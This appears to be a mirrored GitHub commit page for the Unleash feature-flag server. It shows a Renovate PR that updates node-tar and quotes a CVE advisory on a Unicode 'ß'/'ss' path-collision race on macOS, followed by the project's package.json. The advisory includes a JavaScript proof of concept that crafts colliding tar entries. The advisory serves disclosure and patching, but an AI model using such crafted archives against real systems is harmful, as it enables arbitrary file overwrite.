mirror of
https://github.com/Unleash/unleash.git
synced 2026-02-04 20:10:52 +01:00
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.3` → `7.5.4`](https://renovatebot.com/diffs/npm/tar/7.5.3/7.5.4) |  |  | ### GitHub Vulnerability Alerts #### [CVE-2026-23950](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w) **TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS **AUTHOR**: Tomás Illuminati ### Details A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. ```typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) ``` In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example: ``````bash bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ `````` --- ### PoC ``````javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); `````` --- ### Impact This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. --- ### Remediation Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. --- --- ### Release Notes <details> <summary>isaacs/node-tar (tar)</summary> ### [`v7.5.4`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.3...v7.5.4) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.3...v7.5.4) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Europe/Madrid, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44NS4xIiwidXBkYXRlZEluVmVyIjoiNDIuODUuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
211 lines
7.0 KiB
JSON
211 lines
7.0 KiB
JSON
{
|
|
"name": "unleash-server",
|
|
"type": "module",
|
|
"description": "Unleash is an enterprise ready feature flag service. It provides different strategies for handling feature flags.",
|
|
"version": "7.4.0",
|
|
"keywords": [
|
|
"unleash",
|
|
"feature flag",
|
|
"flag",
|
|
"feature toggle",
|
|
"feature",
|
|
"toggle"
|
|
],
|
|
"files": [
|
|
"dist",
|
|
"frontend/build",
|
|
"frontend/build/*",
|
|
"frontend/build/**/*",
|
|
"frontend/index.js",
|
|
"frontend/package.json"
|
|
],
|
|
"repository": {
|
|
"type": "git",
|
|
"url": "https://github.com/Unleash/unleash.git"
|
|
},
|
|
"bugs": {
|
|
"url": "https://github.com/unleash/unleash/issues"
|
|
},
|
|
"types": "./dist/lib/server-impl.d.ts",
|
|
"engines": {
|
|
"node": ">=20"
|
|
},
|
|
"license": "Apache-2.0",
|
|
"exports": "./dist/lib/server-impl.js",
|
|
"scripts": {
|
|
"start": "TZ=UTC node ./dist/server.js",
|
|
"copy-templates": "copyfiles-fixed -u 1 src/mailtemplates/**/* dist/",
|
|
"build:backend": "tsc --pretty && copyfiles-fixed -u 2 src/migrations/package.json dist/migrations",
|
|
"build:frontend": "yarn --cwd ./frontend run build",
|
|
"build:frontend:if-needed": "./scripts/build-frontend-if-needed.sh",
|
|
"build": "yarn run clean && concurrently \"yarn:copy-templates\" \"yarn:build:frontend\" \"yarn:build:backend\"",
|
|
"dev:vite": "TZ=UTC NODE_ENV=development vite-node src/server-dev.ts",
|
|
"dev:backend": "TZ=UTC NODE_ENV=${NODE_ENV:-development} tsc-watch --onEmit \"copyfiles-fixed -u 2 src/migrations/package.json dist/migrations\" --onSuccess \"node dist/server-dev.js\"",
|
|
"dev:frontend": "wait-on tcp:4242 && yarn --cwd ./frontend run dev",
|
|
"dev:frontend:cloud": "UNLEASH_BASE_PATH=/demo/ yarn run dev:frontend",
|
|
"dev": "concurrently \"yarn:dev:backend\" \"yarn:dev:frontend\"",
|
|
"prepare:backend": "concurrently \"yarn:copy-templates\" \"yarn:build:backend\"",
|
|
"start:dev": "yarn run clean && yarn dev:backend",
|
|
"db-migrate": "db-migrate --migrations-dir ./src/migrations",
|
|
"lint": "biome check .",
|
|
"lint:fix": "biome check . --write",
|
|
"local:package": "del-cli --force build && mkdir build && cp -r dist CHANGELOG.md LICENSE README.md package.json build",
|
|
"build:watch": "tsc -w",
|
|
"prepare": "husky && yarn --cwd ./frontend install && if [ ! -d ./dist ]; then yarn build; fi",
|
|
"test": "PORT=4243 vitest run",
|
|
"test:unit": "PORT=4243 vitest --exclude src/test/e2e",
|
|
"test:docker": "./scripts/docker-postgres.sh",
|
|
"test:report": "PORT=4243 vitest --reporter=junit",
|
|
"test:docker:cleanup": "docker rm -f unleash-postgres",
|
|
"test:watch": "vitest",
|
|
"test:coverage": "PORT=4243 vitest run --coverage --outputFile=\"coverage/report.json\"",
|
|
"test:updateSnapshot": "PORT=4243 vitest run -u",
|
|
"test:ui": "vitest --ui",
|
|
"seed:setup": "ts-node src/test/e2e/seed/segment.seed.ts",
|
|
"seed:serve": "UNLEASH_DATABASE_NAME=unleash_test UNLEASH_DATABASE_SCHEMA=seed yarn run start:dev",
|
|
"clean": "del-cli --force dist",
|
|
"prepack": "./scripts/prepack.sh",
|
|
"schema:update": "node ./.husky/update-openapi-spec-list.js"
|
|
},
|
|
"dependencies": {
|
|
"@json2csv/plainjs": "^7.0.6",
|
|
"@slack/web-api": "^7.13.0",
|
|
"@wesleytodd/openapi": "^1.1.0",
|
|
"ajv": "^8.17.1",
|
|
"ajv-formats": "^3.0.1",
|
|
"async": "^3.2.6",
|
|
"bcryptjs": "^3.0.3",
|
|
"compression": "^1.8.1",
|
|
"connect-session-knex": "^5.0.0",
|
|
"cookie-parser": "^1.4.6",
|
|
"cookie-session": "^2.1.1",
|
|
"cors": "^2.8.5",
|
|
"date-fns": "^4.1.0",
|
|
"db-migrate": "0.11.14",
|
|
"db-migrate-pg": "1.5.2",
|
|
"db-migrate-shared": "1.2.0",
|
|
"deep-object-diff": "^1.1.9",
|
|
"deepmerge": "^4.3.1",
|
|
"errorhandler": "^1.5.1",
|
|
"express": "^4.22.1",
|
|
"express-rate-limit": "^8.2.1",
|
|
"express-session": "^1.18.2",
|
|
"fast-json-patch": "^3.1.0",
|
|
"hash-sum": "^2.0.0",
|
|
"helmet": "^8.0.0",
|
|
"http-errors": "^2.0.0",
|
|
"hyperloglog-lite": "^1.0.2",
|
|
"ip-address": "^10.0.1",
|
|
"joi": "^18.0.2",
|
|
"js-sha256": "^0.11.0",
|
|
"js-yaml": "^4.1.0",
|
|
"json-diff": "^1.0.6",
|
|
"json-schema-to-ts": "3.1.1",
|
|
"knex": "^3.1.0",
|
|
"ky": "^1.14.1",
|
|
"lodash.groupby": "^4.6.0",
|
|
"lodash.sortby": "^4.7.0",
|
|
"log4js": "^6.0.0",
|
|
"memoizee": "^0.4.17",
|
|
"mime": "^4.1.0",
|
|
"murmurhash3js": "^3.0.1",
|
|
"mustache": "^4.2.0",
|
|
"nodemailer": "^7.0.11",
|
|
"normalize-url": "^8.0.0",
|
|
"openapi-types": "^12.1.3",
|
|
"owasp-password-strength-test": "^1.3.0",
|
|
"parse-database-url": "^0.3.0",
|
|
"pg": "^8.16.3",
|
|
"pg-connection-string": "^2.5.0",
|
|
"pkginfo": "^0.4.1",
|
|
"prom-client": "^15.0.0",
|
|
"sanitize-filename": "^1.6.3",
|
|
"semver": "^7.7.3",
|
|
"serve-favicon": "^2.5.0",
|
|
"slug": "^11.0.0",
|
|
"stoppable": "^1.1.0",
|
|
"tldts": "7.0.19",
|
|
"ts-toolbelt": "^9.6.0",
|
|
"type-is": "^2.0.0",
|
|
"ulidx": "^2.4.1",
|
|
"unleash-client": "^6.9.0"
|
|
},
|
|
"devDependencies": {
|
|
"@apidevtools/swagger-parser": "12.1.0",
|
|
"@biomejs/biome": "^2.3.8",
|
|
"@cyclonedx/yarn-plugin-cyclonedx": "^3.2.1",
|
|
"@faker-js/faker": "^10.1.0",
|
|
"@fast-check/vitest": "^0.2.4",
|
|
"@types/cors": "2.8.19",
|
|
"@types/express": "4.17.23",
|
|
"@types/express-session": "1.18.2",
|
|
"@types/hash-sum": "^1.0.2",
|
|
"@types/js-yaml": "4.0.9",
|
|
"@types/lodash.groupby": "4.6.9",
|
|
"@types/lodash.isequal": "^4.5.8",
|
|
"@types/memoizee": "0.4.12",
|
|
"@types/murmurhash3js": "^3.0.7",
|
|
"@types/mustache": "^4.2.5",
|
|
"@types/node": "22.15.35",
|
|
"@types/nodemailer": "6.4.21",
|
|
"@types/owasp-password-strength-test": "1.3.2",
|
|
"@types/pg": "8.15.6",
|
|
"@types/semver": "7.7.1",
|
|
"@types/slug": "^5.0.8",
|
|
"@types/stoppable": "1.1.3",
|
|
"@types/supertest": "6.0.3",
|
|
"@types/type-is": "1.6.7",
|
|
"@vitest/coverage-v8": "^4.0.15",
|
|
"@vitest/ui": "^4.0.15",
|
|
"concurrently": "^9.0.0",
|
|
"copyfiles-fixed": "2.4.3",
|
|
"del-cli": "6.0.0",
|
|
"fast-check": "4.4.0",
|
|
"fetch-mock": "^12.6.0",
|
|
"husky": "^9.1.7",
|
|
"lint-staged": "16.2.7",
|
|
"nock": "^14.0.10",
|
|
"openapi-enforcer": "1.23.0",
|
|
"proxyquire": "2.1.3",
|
|
"source-map-support": "0.5.21",
|
|
"superagent": "10.2.3",
|
|
"supertest": "7.1.4",
|
|
"ts-node": "10.9.2",
|
|
"tsc-watch": "7.1.1",
|
|
"typescript": "5.9.3",
|
|
"vite-node": "^5.2.0",
|
|
"vitest": "^4.0.15",
|
|
"wait-on": "^8.0.0"
|
|
},
|
|
"resolutions": {
|
|
"glob": "^10.5.0",
|
|
"async": "^3.2.4",
|
|
"es5-ext": "0.10.64",
|
|
"node-forge": "^1.0.0",
|
|
"set-value": "^4.0.1",
|
|
"ansi-regex": "^5.0.1",
|
|
"ssh2": "^1.4.0",
|
|
"json-schema": "^0.4.0",
|
|
"ip": "^2.0.1",
|
|
"tar": "7.5.4",
|
|
"semver": "^7.7.3",
|
|
"tough-cookie": "4.1.4",
|
|
"brace-expansion": "2.0.2",
|
|
"@wesleytodd/openapi/path-to-regexp": "6.3.0",
|
|
"router/path-to-regexp": "1.9.0",
|
|
"prompt": "link:./node_modules/.cache/null"
|
|
},
|
|
"lint-staged": {
|
|
"*.{js,ts}": [
|
|
"yarn biome check --write --no-errors-on-unmatched"
|
|
],
|
|
"*.{jsx,tsx}": [
|
|
"yarn biome check --write --no-errors-on-unmatched"
|
|
],
|
|
"*.json": [
|
|
"yarn biome format --write --no-errors-on-unmatched"
|
|
]
|
|
},
|
|
"packageManager": "yarn@4.12.0"
|
|
}
|